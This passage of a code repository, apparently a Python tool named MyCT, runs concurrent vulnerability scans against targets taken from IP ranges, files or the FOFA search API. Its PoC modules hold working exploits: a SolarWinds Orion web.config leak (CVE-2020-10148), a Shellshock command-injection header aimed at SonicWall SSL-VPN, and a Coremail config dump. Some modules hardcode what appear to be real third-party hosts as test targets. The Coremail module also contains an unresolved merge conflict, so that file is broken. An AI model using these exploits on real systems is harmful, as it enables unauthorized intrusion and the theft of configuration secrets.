27 | # PREMODULE_NUM 预处理模块数
28 | # PREMODULES 预处理模块信息列表
29 | # TARGET_TYPE 并发目标类型
30 | # TARGET 并发目标集合
31 | # OUTPUT_MODE 输出模式
32 | # OUTPUT_FILE 输出文件名
33 | # OUTPUT_FILE_PATH 结果输出文件完整路径
34 | # DEBUG_MODE 调试模式
35 | # SINGLE_MODE 简单模式
36 |
37 | # PS:
38 | # POCMODULES、PREMODULES 结构:[{'fullPath':...,'name':...}] fullPath:模块完整路径 name:模块名
39 | # 定义于lib\core\config.py的moduleRegister方法中
40 |
41 | prepare={}
42 | # 引擎运行的预备数据
43 | # Poc、Pre 结构:[{'class':...,'name':...}] class:并发类对象 name:模块名
44 | # allTarget 列表 并发目标
45 | # nowc2Class 当前执行的处理模块的类对象,其实就是prepare['Poc']、prepare['Pre']列表中的元素的class
46 | # nowModuleName 当前执行的处理模块名,其实就是prepare['Poc']、prepare['Pre']列表中的元素的name
47 |
48 |
49 | runtime={}
50 | # 并发引擎运行时的数据
51 | # startTime 引擎运行时间
52 | # engineMode 引擎类型
53 | # concurrentNum 并发数
54 | # c2ClassObj 当前并发类对象
55 | # c2Func 当前并发方法对象
56 | # moduleName 并发模块名
57 | # concurrentCount 当前可并发数量
58 | # scannedCount 已扫描的目标的数量
59 | # foundCount 已发现的目标的数量
60 | # handleIsError 运行scan方法中是否发生了异常
61 | # isContinue 是否继续运行并发引擎
62 | # terminal_width 当前命令行终端的宽度
63 | # allTarget 需要处理的目标队列
64 | # debug debug模式
--------------------------------------------------------------------------------
/lib/core/log.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | import logging
3 | import sys
4 | from lib.core.static import CUSTOM_LOGGING
5 | from thirdparty.ansistrm import ColorizingStreamHandler
6 |
7 | # 自定义日志类型
8 | logging.addLevelName(CUSTOM_LOGGING.ERROR,'ERROR')
9 | logging.addLevelName(CUSTOM_LOGGING.WARNING,'WARNING')
10 | logging.addLevelName(CUSTOM_LOGGING.SUCCESS,'SUCCESS')
11 | logging.addLevelName(CUSTOM_LOGGING.INFO,'INFO')
12 |
13 | # 设置根记录器的记录日志级别
14 | # 根记录器设置为CUSTOM_LOGGING.INFO,就是1,最小的日志级别,也就是所有日志都会输出
15 | logging.getLogger().setLevel(CUSTOM_LOGGING.INFO)
16 |
17 | # 获得ctLog记录器
18 | LOGGER=logging.getLogger('ctLog')
19 |
20 | # 获得日志输出器
21 | # 文件输出器:file_hd
22 | # 命令行输出器:cmd_hd,这里使用了一个彩色输出类的对象
23 | file_hd=logging.FileHandler(filename='myct.log',mode='w',encoding='utf-8')
24 | cmd_hd=ColorizingStreamHandler()
25 |
26 | # 设置命令行输出器cmd_hd的输出日志级别
27 | # cmd_hd设置为logging.INFO,就是20,则所有级别>=20 的日志就会输出
28 | cmd_hd.setLevel(logging.INFO)
29 |
30 | # 修改输出器cmd_hd内部的日志彩色序列,cmd_hd是依据该序列进行彩色输出
31 | cmd_hd.level_map[logging.getLevelName("INFO")] = (None, "cyan", False)
32 | cmd_hd.level_map[logging.getLevelName("SUCCESS")] = (None, "green", False)
33 | cmd_hd.level_map[logging.getLevelName("WARNING")] = (None, "yellow", False)
34 | cmd_hd.level_map[logging.getLevelName("ERROR")] = (None, "red", False)
35 |
36 | # 获取格式化程序:common_fmt、debug_fmt,
37 | common_fmt=logging.Formatter(fmt="[%(asctime)s] [%(levelname)s] %(message)s",datefmt="%H:%M:%S")
38 | debug_fmt=logging.Formatter(fmt="[%(asctime)s] [%(levelname)s] [%(filename)s] %(message)s",datefmt="%Y-%m-%d %H:%M:%S")
39 |
40 | # 给输出器 设置 格式化程序
41 | cmd_hd.setFormatter(common_fmt)
42 | file_hd.setFormatter(debug_fmt)
43 |
44 | # 给记录器 设置 输出器
45 | LOGGER.addHandler(cmd_hd)
46 | LOGGER.addHandler(file_hd)
47 |
48 | def DEBUG(): # 开启调试模式
49 | # 重新设置输出的日志级别和日志格式
50 | LOGGER.removeHandler(cmd_hd)
51 | cmd_hd.setLevel(CUSTOM_LOGGING.INFO)
52 | cmd_hd.setFormatter(debug_fmt)
53 | LOGGER.addHandler(cmd_hd)
--------------------------------------------------------------------------------
/lib/core/setting.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import subprocess,os
3 |
4 | VERSION = "1.0"
5 | PROJECT = "MyCT"
6 | AUTHOR= "0671"
7 | MAIL = 'h.vi@qq.com'
8 | PLATFORM = os.name
9 | LICENS = 'GPLv2'
10 |
11 | try:
12 | IS_WIN = subprocess.mswindows
13 | except:
14 | IS_WIN = subprocess._mswindows
15 | ISCALLGRAPH = True # 是否生成程序的函数调用图.注意:在协程模式下不支持!
16 |
17 | # 并发模块类名 与 类中的并发函数
18 | CLASSNAME = 'c2Class'
19 | FUNCNAME = 'c2Func'
20 |
21 | # 默认并发数
22 | CONCURRENT_NUM = 50
23 |
24 | # 相对路径
25 | RELATIVE_PATH = {
26 | 'POCMODULE':'pocmodules',
27 | 'PREMODULE':'premodules',
28 | 'OUTPUT':'output',
29 | 'DATA':'data'}
30 |
31 | # 使用API所需要的数据
32 | API_KEY= {
33 | 'Fofa':{
34 | 'email':'xxxxxxxx',
35 | 'key':'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx',
36 | 'size':100 # 【普通会员】免费前100条/次 【高级会员】免费前10000条/次 【企业会员】免费前100,000条/次 check in https://fofa.so/static_pages/vip
37 | }
38 | }
39 |
40 | # 图标
41 | BANNER ='''
42 | \033[04;31m __ ___ ____________ \033[0m
43 | \033[04;32m / |/ /_ __/ ____/_ __/ \033[0m
44 | \033[04;33m / /|_/ / / / / / / / \033[0m
45 | \033[04;34m / / / / /_/ / /___ / / \033[0m
46 | \033[04;35m/_/ /_/\__, /\____/ /_/ \033[0m
47 | \033[04;36m /____/ \033[0m Version:%s mail:%s\n'''%(VERSION,MAIL)
48 | # print(u"(^-^*)")
--------------------------------------------------------------------------------
/lib/core/static.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 |
3 | # 自定义日志类型
4 | class CUSTOM_LOGGING:
5 | INFO = 3
6 | SUCCESS = 5
7 | WARNING = 7
8 | ERROR = 9
9 |
10 | # 模块类型
11 | class MODULE_TYPE:
12 | PRE = 'Pre'
13 | POC = 'Poc'
14 |
15 | # 并发引擎模式
16 | class ENGINE_MODE:
17 | THREAD = 9
18 | GEVENT = 8
19 |
20 | # 攻击目标类型
21 | class TARGET_TYPE:
22 | SINGLE = 0
23 | FILE = 1
24 | NETWORK = 2
25 | IPRANGE = 3
26 | FOFA = 4
27 | SHODAN = 5
28 | ZOOMEYE = 6
29 |
30 | # 并发函数返回状态
31 | class RETURN_STATUS:
32 | RETRY = -1
33 | FAIL = 0
34 | SUCCESS = 1
35 | MORETRY = 10
36 |
37 | # 结果输出方式
38 | class OUTPUT_MODE:
39 | ALL = 9
40 | FILE = 8
41 | SCREEN = 7
42 |
--------------------------------------------------------------------------------
/lib/loader/__init__.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
--------------------------------------------------------------------------------
/lib/loader/loader.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import imp
3 | import sys
4 | import re
5 | import os
6 | from thirdparty import IPy
7 | from lib.core.common import intRange
8 | from lib.core.data import prepare,conf,logger
9 | from lib.core.setting import CLASSNAME,FUNCNAME,API_KEY
10 | from lib.core.static import CUSTOM_LOGGING,TARGET_TYPE,MODULE_TYPE
11 |
12 |
13 | # 载入攻击目标
14 | def loadTarget():
15 | infoMsg = 'Start loading targets'
16 | logger.log(CUSTOM_LOGGING.INFO,infoMsg)
17 |
18 | prepare['allTarget'] = set() # 目标使用列表存放
19 |
20 | # 以下为不同目标类型对应的处理方法
21 | def _single(): # 简单目标
22 | prepare['allTarget'].add(str(conf['TARGET']))
23 | def _file(): # 目标为文件
24 | for line in open(conf['TARGET'],'r'):
25 | tgt = line.strip()
26 | if tgt:
27 | prepare['allTarget'].add(tgt)
28 | def _network(): # 目标为网段,需要符合Ipy.IP()的形参要求
29 | try:
30 | ips = IPy.IP(conf['TARGET'])
31 | for i in ips:
32 | prepare['allTarget'].add(i.strNormal())
33 | except Exception as e:
34 | errMsg = "Invalid IP/MASK : %s"%e
35 | sys.exit(logger.error(errMsg))
36 | def _iprange(): # 目标为IP地址范围
37 | rcIp = re.compile(r'((?:\d{1,3}\.){3}\d{1,3})-((?:\d{1,3}\.){3}\d{1,3})')
38 | _ip = rcIp.findall(str(conf['TARGET']))[0] # 正则提取IP-IP格式下的IP地址
39 | try:
40 | if len(_ip) == 2: # 提取到2个IP地址
41 | ipStart,ipEnd = [IPy.IP(i).int() for i in _ip] # 将首尾IP地址转换为ip对应的数值
42 | ipsInt = intRange(ipStart,ipEnd) # 获得首尾范围下数值生成器
43 | else:
44 | raise ValueError
45 | for i in ipsInt:
46 | prepare['allTarget'].add(IPy.IP(i).strNormal())
47 | except ValueError as e:
48 | errMsg = "Invalid IP-Range : %s .The correct IP-Range is such as : 192.168.1.1-192.168.2.1"%conf['TARGET']
49 | sys.exit(logger.error(errMsg))
50 | def _fofa(): # 从Fofa API查询,获取目标
51 | import requests,json,base64
52 | query=conf['TARGET']
53 | # 兼容py2与py3
54 | if sys.version[0]=='3':
55 | qbase64 = base64.b64encode(query.encode('utf-8')).decode("utf-8")
56 | elif sys.version[0]=='2':
57 | qbase64=base64.b64encode(query)
58 | email=API_KEY['Fofa']['email']
59 | key=API_KEY['Fofa']['key']
60 | size=API_KEY['Fofa']['size']
61 | url="https://fofa.so/api/v1/search/all?email=%s&key=%s&qbase64=%s&size=%s"%(email,key,qbase64,size)
62 | try:
63 | resp=requests.get(url)
64 | queryResults=json.loads(resp.content) # {u'results': [[u'vulfocus.fofa.so', u'118.193.36.37', u'80'], [u'https://www.fofa.so', u'36.102.212.81', u'443']], u'mode': u'extended', u'error': False, u'query': u'domain="fofa.so"', u'page': 1, u'size': 10}
65 | if 'errmsg' in queryResults:
66 | raise Exception(queryResults['errmsg'])
67 | server=[i[0] for i in queryResults['results']] # [u'vulfocus.fofa.so', u'https://www.fofa.so']
68 | for s in server:
69 | # print(s)
70 | prepare['allTarget'].add(s)
71 | except Exception as e:
72 | errMsg = "Query api data occur exception. Exception :%s"%e
73 | sys.exit(logger.error(errMsg))
74 | # _func是一个方法列表,方法的下标和lib\core\static.py的TARGET_TYPE内的元素值一一对应
75 | _func = [_single,_file,_network,_iprange,_fofa]
76 | _func[conf['TARGET_TYPE']]() # 调用对应目标类型的处理目标方法
77 | msg = 'Successfully loaded all targets'
78 | logger.log(CUSTOM_LOGGING.SUCCESS,msg)
79 |
80 | # 载入块的底层方法
81 | def _loadModule(mType,mList,mNum): # mType:模块类型 mList:模块信息列表 mNum:模块数
82 | prepare[mType] = []
83 | for mInfo in mList:
84 | mData = {} # 存储模块对象
85 | mName = mInfo['name'] # 模块名称
86 | mFullPath = mInfo['fullPath'] # 模块文件完整路径
87 | infoMsg = 'Start to load the module : %s'%mName
88 | logger.log(CUSTOM_LOGGING.INFO,infoMsg)
89 | # 寻找模块
90 | # print(mName)
91 | mDir,mOriname=os.path.split(mFullPath) # ('D:\\MyCT\\pocmodules\\jumpserver', '20210115.py')
92 | mOriname=mOriname[:-3] # 20210115
93 | filehandle,pathname,description = imp.find_module(mOriname,[mDir,])
94 | try:
95 | # 导入模块
96 | mObj = imp.load_module(mOriname,filehandle,pathname,description)
97 | # 检查模块中必须存在的类CLASSNAME与方法FUNCNAME
98 | if not hasattr(mObj,CLASSNAME):
99 | errMsg = "Can't be found the concurrency class : '%s' in current module [%s]"%(CLASSNAME,mName)
100 | sys.exit(logger.error(errMsg))
101 | if not hasattr(getattr(mObj,CLASSNAME,None),FUNCNAME):
102 | errMsg = "Can't be found the concurrency function: '%s' in current module [%s]"%(FUNCNAME,mName)
103 | sys.exit(logger.error(errMsg))
104 |
105 | mData['class'] = getattr(mObj,CLASSNAME,None) # 并发类
106 | mData['name'] = mName # 模块名
107 | prepare[mType].append(mData) # 将并发类与模块名赋值给prepare变量中
108 | except ImportError as e: # 如果在导入模块中发生ImportError,说明有可能模块中import了pip未安装的py库
109 | errMsg = "An exception occurred when loading [%s.py].\nException : %s\nYou can use pip to download the module."%(mName,str(e))
110 | sys.exit(logger.error(errMsg))
111 | msg = 'Successfully loaded the module : %s'%mName
112 | logger.log(CUSTOM_LOGGING.SUCCESS,msg)
113 |
114 | # 载入处理模块
115 | def loadPocModule():
116 | _loadModule(MODULE_TYPE.POC,conf['POCMODULES'],conf['POCMODULE_NUM'])
117 |
118 | # 载入预处理模块
119 | def loadPreModule():
120 | _loadModule(MODULE_TYPE.PRE,conf['PREMODULES'],conf['PREMODULE_NUM'])
121 |
122 | # 载入模块
123 | def loadModule():
124 | loadPocModule()
125 | if conf['PRE_TREAT']:
126 | loadPreModule()
127 | msg = 'Successfully loaded all modules'
128 | logger.log(CUSTOM_LOGGING.SUCCESS,msg)
--------------------------------------------------------------------------------
/lib/parser/__init__.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
--------------------------------------------------------------------------------
/lib/parser/hander.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | import os
3 | import argparse
4 | from lib.core.log import DEBUG
5 | from lib.core.setting import API_KEY
6 | from lib.core.data import paths
7 | # 兼容python3
8 | import sys
9 | if sys.version[0]=='3':
10 | raw_input=input
11 |
12 | # 并发数是否在一定范围
13 | def concuNum(_str):
14 | num=int(_str)
15 | if num > 9999 or num <= 0:
16 | errMsg="Concurrent number must be in the range of [1,9999], '%s' does not meet"%num
17 | raise argparse.ArgumentTypeError(errMsg)
18 | return num
19 |
20 | # 检测处理模块文件是否存在
21 | def fileNameOfPocM(_str):
22 | _fn=str(_str)
23 | # 修正文件名
24 | fileName=_fn+('' if _fn.lower().endswith('py') else '.py')
25 | filePath=paths['POCMODULE_PATH']
26 | return isFile(fileName,filePath)
27 |
28 | # 检测预处理模块文件是否存在
29 | def fileNameOfPreM(_str):
30 | _fn=str(_str)
31 | fileName=_fn+('' if _fn.lower().endswith('py') else '.py')
32 | filePath=paths['PREMODULE_PATH']
33 | return isFile(fileName,filePath)
34 |
35 | # 检测并发目标文件是否存在
36 | def fileNameOfTgt(_str):
37 | fileName=str(_str)
38 | filePath=paths['ROOT_PATH']
39 | return isFile(fileName,filePath)
40 |
41 | # 检测文件是否真实存在于指定路径下
42 | def isFile(fn,fp):
43 | fullPath=os.path.join(fp,fn)
44 | if not os.path.isfile(fullPath):
45 | errMsg="Cannot find the file named '%s' under %s"%(fn,fp)
46 | raise argparse.ArgumentTypeError(errMsg)
47 | return fullPath
48 |
49 | # 检测Fofa api是否可用
50 | def testFofa(_str):
51 | query=_str
52 | email=API_KEY['Fofa']['email']
53 | key=API_KEY['Fofa']['key']
54 | url="https://fofa.so/api/v1/info/my?email=%s&key=%s"%(email,key)
55 | import requests,json
56 | resp=requests.get(url,verify=False,timeout=5)
57 | authData=json.loads(resp.content)
58 | if 'error' in authData:
59 | errMsg="FOFA API is not available. Please check the FOFA configuration(email,key) in lib/code/setting.py"
60 | raise argparse.ArgumentTypeError(errMsg)
61 | if authData['isvip'] == False and authData['fcoin']==0:
62 | errMsg="FOFA API is not available. Because you are no VIP users and FOFA coin is not enough!"
63 | raise argparse.ArgumentTypeError(errMsg)
64 | if query=='':
65 | _q=raw_input("Please input complex Fofa query: ")
66 | query=_q
67 | return query
68 |
69 | # 自定义一个Action类
70 | # 自定义 action 方法需要继承自 argparse.Action 类,并且实现一个 __call__ 方法
71 | # myActionDebug继承自argparse._StoreTrueAction
72 | class myActionDebug(argparse._StoreTrueAction):
73 | def __call__(self, parser, namespace, values, option_string=None):
74 | # 如果参数使用了该Action,会自动调用__call__方法,从而调用DEBUG函数
75 | setattr(namespace,self.dest,True)
76 | DEBUG()
77 |
--------------------------------------------------------------------------------
/lib/parser/parser.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | import argparse
3 | import sys
4 | import time
5 | from lib.core.setting import VERSION
6 | from lib.core.data import logger
7 | from lib.parser.hander import concuNum,fileNameOfPocM,fileNameOfPreM,fileNameOfTgt,testFofa,myActionDebug
8 | from lib.core.static import CUSTOM_LOGGING
9 | from lib.core.setting import CONCURRENT_NUM
10 | # 兼容python3
11 | if sys.version[0]=='3':
12 | from functools import reduce
13 |
14 | usage='''python MyCT.py [-eT|-eG] [-pm] [-m] [-iS|iF|-iN|-iR|-qF] [-o] [msic]
15 |
16 | Example:
17 | python MyCT.py -m demo -iS 1.1.1.1 -o
18 | python MyCT.py -pm getWeb -m getTitleByUrl -iR 192.168.1.1-192.168.1.253
19 | python MyCT.py -eT -m getTitleByUrl -iF urls.txt -c 50 -o titles.txt
20 | python MyCT.py -eG -pm ljjsdb -m coremail\\CMXT5-2019-0002 -iS baidu.com -c 1000
21 | '''
22 |
23 |
24 | def parseArgs():
25 | ctParser=argparse.ArgumentParser(
26 | prog="MyCT", # 程序名
27 | description="powered by 0671 ",# 位于输出的usage下方
28 | usage=usage,# 程序用法,直接输出
29 | add_help=False # 关闭argparse库所生成的默认帮助
30 | )
31 |
32 | # 并发引擎参数组
33 | ENGINE=ctParser.add_argument_group('ENGINE')
34 | ENGINE.add_argument('-eT',default=False,action='store_true', # 选项变量性质
35 | dest='engine_thread', # 选项描述
36 | help='Multi-threaded engine (selected by default)') # 选项帮助
37 | ENGINE.add_argument('-eG',default=False,action='store_true',
38 | dest='engine_gevent',
39 | help='Gevent engine (single thread with asynchronous)')
40 | ENGINE.add_argument('-c',default=CONCURRENT_NUM,type=concuNum,
41 | dest='concurrent_number',
42 | help='The concurrent number of threads/gevent, 50 by default'
43 | )
44 |
45 | # 并发模块参数组
46 | MODULE=ctParser.add_argument_group('MODULE')
47 | MODULE.add_argument('-m',type=fileNameOfPocM,nargs='+',
48 | dest='pocmodule_path',metavar='NAME',
49 | help='Load concurrent modules by name (-m demo or -m xxx/xxx/xxx.py) in ./pocmodules/ '
50 | )
51 | MODULE.add_argument('-pm',type=fileNameOfPreM,
52 | dest='premodule_path',metavar='NAME',nargs='*',
53 | help='Load pre-treat concurrent modules by name (-pm demo or -pm xxx/xxx/xxx.py) in ./premodules/ ')
54 |
55 | # 并发目标参数组
56 | TARGET=ctParser.add_argument_group('TARGET')
57 | TARGET.add_argument('-iS',type=str,
58 | dest='target_single',metavar='TARGET',
59 | help='Scan a single target (e.g baidu.com)'
60 | )
61 | TARGET.add_argument('-iF',type=fileNameOfTgt,
62 | dest='target_file',metavar='FILE',
63 | help='Load the target from the file (e.g urls.txt)'
64 | )
65 | TARGET.add_argument('-iN',type=str,
66 | dest='target_network',metavar='IP/MASK',
67 | help='Generate target IP from IP/MASK (e.g 127.0.0.1/24)'
68 | )
69 | TARGET.add_argument('-iR',type=str,
70 | dest='target_iprange',metavar='IP-IP',
71 | help='Load the target from the ip range (e.g 10.1.1.1-10.1.1.125)'
72 | )
73 | TARGET.add_argument('-qF',type=testFofa,nargs='?',const='',
74 | dest='target_fofa',metavar='QUERY',
75 | help='Query data from Fofa API (e.g thinkphp).'\
76 | ' If the query string contains the cmd special characters (eg. && ||), '\
77 | 'you should just use -qf (not query string). '\
78 | 'Later, MyCT will prompt you to enter the query string.'
79 | )
80 |
81 | # 输出结果参数组
82 | OUTPUT=ctParser.add_argument_group('OUTPUT')
83 | OUTPUT.add_argument('-o',nargs='?',type=str,
84 | default=None,const= time.strftime('default_[%Y%m%d-%H%M%S]', time.localtime(time.time()))+'_[%s].txt',
85 | dest='output_file',
86 | help='Output file, default by ./output/default_[time]_[module].txt'
87 | )
88 |
89 | # 其他选项 参数组
90 | MSIC=ctParser.add_argument_group('MSIC')
91 | MSIC.add_argument('--single',default=False,action='store_true',
92 | dest='single_mode',
93 | help="Exit after the module's c2Func method return True"
94 | )
95 | MSIC.add_argument('--debug',default=False,action=myActionDebug,
96 | dest='debug_mode',
97 | help='Show more debugging information'
98 | )
99 | MSIC.add_argument('--show',default=False,action='store_true',
100 | dest='show_modules',
101 | help='Show the available module names under ./modules/, then exit'
102 | )
103 | MSIC.add_argument('-v','--version',action='version',version=VERSION,
104 | help="Show the version of the program and exit"
105 | )
106 | MSIC.add_argument('-h','--help',action='help',
107 | help='Show help message and exit'
108 | )
109 |
110 | # 如果命令行参数只有MyCT.py,则添加-h参数
111 | if len(sys.argv)==1:
112 | sys.argv.append('-h')
113 | sys_argv=reduce(lambda x,y:x+' '+y,sys.argv)
114 | logger.log(CUSTOM_LOGGING.SUCCESS,'User typed: %s'%sys_argv)
115 | # 解析命令行参数
116 | args=ctParser.parse_args()
117 | logger.log(CUSTOM_LOGGING.SUCCESS,'The parameters are parse successfully.\nParameters are as follows: \n[%s]'%args)
118 | return args
119 |
--------------------------------------------------------------------------------
/lib/utils/__init__.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
--------------------------------------------------------------------------------
/lib/utils/versioncheck.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 |
3 | import sys
4 |
5 | PYVERSION = sys.version.split()[0]
6 | # sys.version 2.7.17 (v2.7.17:c2f86d86e6, Oct 19 2019, 21:01:17) [MSC v.1500 64 bit (AMD64)]
7 |
8 | # 检查py版本,运行MyCT的py版本需要位于[2.6,3)之间
9 | if PYVERSION >= "3" or PYVERSION < "2.6":
10 | exit("[CRITICAL] incompatible Python version detected ('%s'). "
11 | "For successfully running this project, you'll have to use version 2.6 or 2.7 "
12 | "(visit 'http://www.python.org/download/')" %PYVERSION)
13 |
14 | # 检查当前py是否拥有了以下的核心拓展库
15 | extensions = ("gzip","ssl","sqlite3","zlib")
16 | try:
17 | for e in extensions:
18 | __import__(e)
19 | except ImportError:
20 | errMsg = "missing one or more core extensions (%s) "%(",".join("'%s'"%e for e in extensions))
21 | errMsg += "most probably because current version of Python has been "
22 | errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')"
23 | exit(errMsg)
24 |
--------------------------------------------------------------------------------
/pocmodules/.txt:
--------------------------------------------------------------------------------
1 | body="SAP" && title=="SAP NetWeaver Application Server Java" && port="50000"
--------------------------------------------------------------------------------
/pocmodules/SolarWinds/CVE-2020-10148.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | requests.packages.urllib3.disable_warnings()
4 |
5 | class c2Class(object):
6 | def __init__(self):
7 | self.vulname = 'SolarWinds Orion API RCE (CVE-2020-10148)'
8 | self.vulsystem= 'SolarWinds'
9 | self.vulsystemintro = 'SolarWinds是网络安全管理软件产品。'
10 | self.vulversion = 'Orion Version < 2020.2.1HF2 2019.4HF6'
11 | self.fofa='title="SolarWinds Orion"'
12 | self.findtime='2020-12'
13 | self.refer= 'https://blog.csdn.net/smellycat000/article/details/112057631\nhttps://gist.github.com/0xsha/75616ef6f24067c4fb5b320c5dfa4965/stargazers\nhttps://nosec.org/home/detail/4630.html'
14 | self.bbb='这个洞来源于FireEye的红队工具泄露,说是SolarWinds的Orion API可以绕过登录,进而导致rce,不过现在只有读文件的poc。20200114'
15 | self.testisok=True
16 |
17 | self.vulpath='/Orion/invalid.aspx.js'
18 | self.vulpath_webconfig='/web.config'
19 | self.vulpath_db='/SWNetPerfMon.db'
20 | self.flag=200
21 | self.flag2='SolarWinds.Orion.Core.Common.Configuration.WebCompressionSection, SolarWinds.Orion.Core.Common'
22 | self.flag3='Encrypted Connection String for SQL Server added by Orion Core Services'
23 |
24 |
25 | def c2Func(self,target):
26 | status=0
27 | returnData=''
28 | if target.startswith(('http://','https://')):
29 | if '/Orion/' in target:
30 | target=target[:target.index('/Orion/')]
31 | else: # 这是为了拿到 这样格式的数据
32 | target=target+'/'
33 | target=target[:target.find('/',8)] # len('https://') = 8
34 | else:
35 | target='http://'+target
36 | try:
37 | url=target.strip('/')+self.vulpath
38 | resp=requests.get(url=url,verify=False)
39 | if (resp.headers['location']):
40 | index=resp.headers['location'].index('.i18n.ashx')
41 | leakedVersion = (resp.headers['location'][index:])
42 | if (leakedVersion.__contains__('v=')):
43 | urlGetWebConfig=target.strip('/')+self.vulpath_webconfig+leakedVersion
44 | leakedConfig=resp=requests.get(url=urlGetWebConfig,verify=False)
45 | if (leakedConfig.status_code == self.flag) and self.flag2 in leakedConfig.text:
46 | returnData='%s could be vulnerable.The vuln is %s.'\
47 | 'The payload is [%s], u can get web.config by the payload.'%(target.strip('/'),self.vulname,urlGetWebConfig)
48 | status=1
49 | except Exception as e:
50 | returnData=str(e)
51 | return status,returnData
52 |
53 | if __name__ == '__main__':
54 | target='http://73.178.202.24:8080/'
55 | pocObj=c2Class()
56 | print(pocObj.c2Func(target))
--------------------------------------------------------------------------------
/pocmodules/SonicWall/SSL-VPN_rce.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | requests.packages.urllib3.disable_warnings()
4 |
5 | class c2Class(object):
6 | def __init__(self):
7 | self.vulname = 'SonicWall SSL-VPN jarrewrite.sh RCE'
8 | self.vulsystem= 'SonicWall SSL-VPN'
9 | self.vulsystemintro = 'SonicWall是硬件防火墙设备,VPN网关和网络安全解决方案的知名制造商,其产品通常用于SMB/SME和大型企业组织。'\
10 | 'SonicWALL 的SSL VPN NetExtender 功能是一种用于Windows、Mac 和Linux 用户的客户端应用程序,支持远程用户安全连接到远程网络。'\
11 | 'NetExtender VPN客户端版本10系列(于2020年发布)'
12 | self.vulversion = 'NetExtender VPN client:version 10.x ;Secure Mobile Access:version 10.x'
13 | self.fofa='((body="login_box_sonicwall" || header="SonicWALL SSL-VPN Web Server") && body="SSL-VPN")'
14 | self.findtime='2021-01'
15 | self.cveid=''
16 | self.refer= 'https://xz.aliyun.com/t/9143?page=1\nhttps://nosec.org/home/detail/4662.html\nhttps://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/\nhttps://github.com/darrenmartyn/visualdoor\nhttps://mp.weixin.qq.com/s/kGlcDkpAd3B8-RhZE63lUw'
17 | self.bbb='该漏洞是由于Sonicwall SSL-VPN引入旧版本的Linux内核,'\
18 | '其处理HTTP的CGI未过滤HTTP header,导致远程攻击者可以构造恶意的'\
19 | 'http报文注入系统命令,成功利用该漏洞可以在受影响设备获得nobody用'\
20 | '户权限并执行任意命令,可能再次利用旧版本Linux内核漏洞进行提升权'\
21 | '限最终实现完全控制服务器'
22 | self.testisok=True
23 |
24 | self.vulpath='/cgi-bin/jarrewrite.sh'
25 | self.payload='''() { :;};echo;/bin/bash -c "echo -n 'hello'|md5sum"''' # ) { :的两个空格是必须的,删除的话请求将会报错
26 | self.headers={'User-Agent':self.payload}
27 | self.flag = 200
28 | self.flag1 = '5d41402abc4b2a76b9719d911017c592'
29 |
30 |
31 | def c2Func(self,target):
32 | status=0
33 | returnData=''
34 |
35 | # 1、处理目标格式
36 | if target.startswith(('http://','https://')):
37 | target=target+'/'
38 | target=target[:target.find('/',8)] #
39 | else:
40 | target='https://'+target
41 | try:
42 | # 2、准备攻击所需的数据
43 | url=target.strip('/')+self.vulpath
44 | # 3、开始攻击
45 | resp=requests.get(url=url,headers=self.headers,verify=False,timeout=30)
46 | # 4、检测是否存在成功标识
47 | if self.flag == resp.status_code and self.flag1 in resp.text:
48 | status=1
49 | returnData='%s is vuln(%s) , vulpath: %s'\
50 | ''%(target.strip('/'),self.vulname,url)
51 | except Exception as e:
52 | # print(e)
53 | returnData=str(e)
54 | # 5、返回状态与数据
55 | return status,returnData
56 |
57 | if __name__ == '__main__':
58 | target='https://sslvpn.cgemc.com/'
59 | pocObj=c2Class()
60 | print(pocObj.c2Func(target))
--------------------------------------------------------------------------------
/pocmodules/coremail/CMXT5-2019-0002.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | requests.packages.urllib3.disable_warnings()
4 |
5 | class c2Class(object):
6 | def __init__(self):
7 | self.vulname = 'demo'
8 | self.vulsystem= 'Coremail'
9 | self.vulversion = 'XT5,XT3/CM5-verision<20190524'
10 | self.findtime='2019-0614'
11 | self.refer= 'https://github.com/lowliness9/coremail-poc/blob/master/coremail-ns-2019-0020.py\n https://www.venustech.com.cn/article/1/9331.html\n https://www.venustech.com.cn/article/1/9331.html'
12 | self.testisok=True
13 |
14 | self.vulpath='/mailsms/s?func=ADMIN:appState&dumpConfig=/'
15 | self.vulpath2='/apiws/services/'
16 | self.flag='home/coremail'
17 | self.recovered1='404'
18 | self.recovered2='FS_IP_NOT_PERMITTED'
19 | self.recovered2='No services have been found.'
20 |
21 | def c2Func(self,target):
22 | status=0
23 | returnData=''
24 | if target.startswith(('http://','https://')):
25 | pass
26 | else:
27 | target='http://'+target
28 | try:
29 | url=target.strip('/')+self.vulpath
30 | resp=requests.get(url=url,verify=False,timeout=2)
31 | if self.flag in resp.text and not (self.recovered1 == resp.status_code or self.recovered2 in resp.text):
32 | <<<<<<< HEAD
33 | returnData='%s is bad.The vuln is CMXT5-2019-0002.The '\
34 | =======
35 | returnData='%s is bad.The vuln is CMXT5-2019-0002.The /'
36 | >>>>>>> 0236c8ba63ed25c7b585a481d1d6e6081bd6132e
37 | 'payloa is [%s], the result is [%s].'%(target.strip('/'),url,resp.text.strip()) #
38 | status=1
39 | except Exception as e:
40 | returnData=str(e)
41 | return status,returnData
42 |
43 | if __name__ == '__main__':
44 | target='192.168.3.12'
45 | pocObj=c2Class()
46 | print(pocObj.c2Func(target))
47 |
--------------------------------------------------------------------------------
/pocmodules/demo1.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 |
3 | class c2Class(object):
4 | '''
5 | __init__用来放置一些通用的数据,例如:漏洞名称、漏洞涉及系统、漏洞CVE编号、漏洞payload、漏洞验证路径
6 | '''
7 | def __init__(self):
8 | self.vulname = 'demo'
9 | self.vulsystem= ''
10 | self.vulversion = ''
11 | self.refer= ''
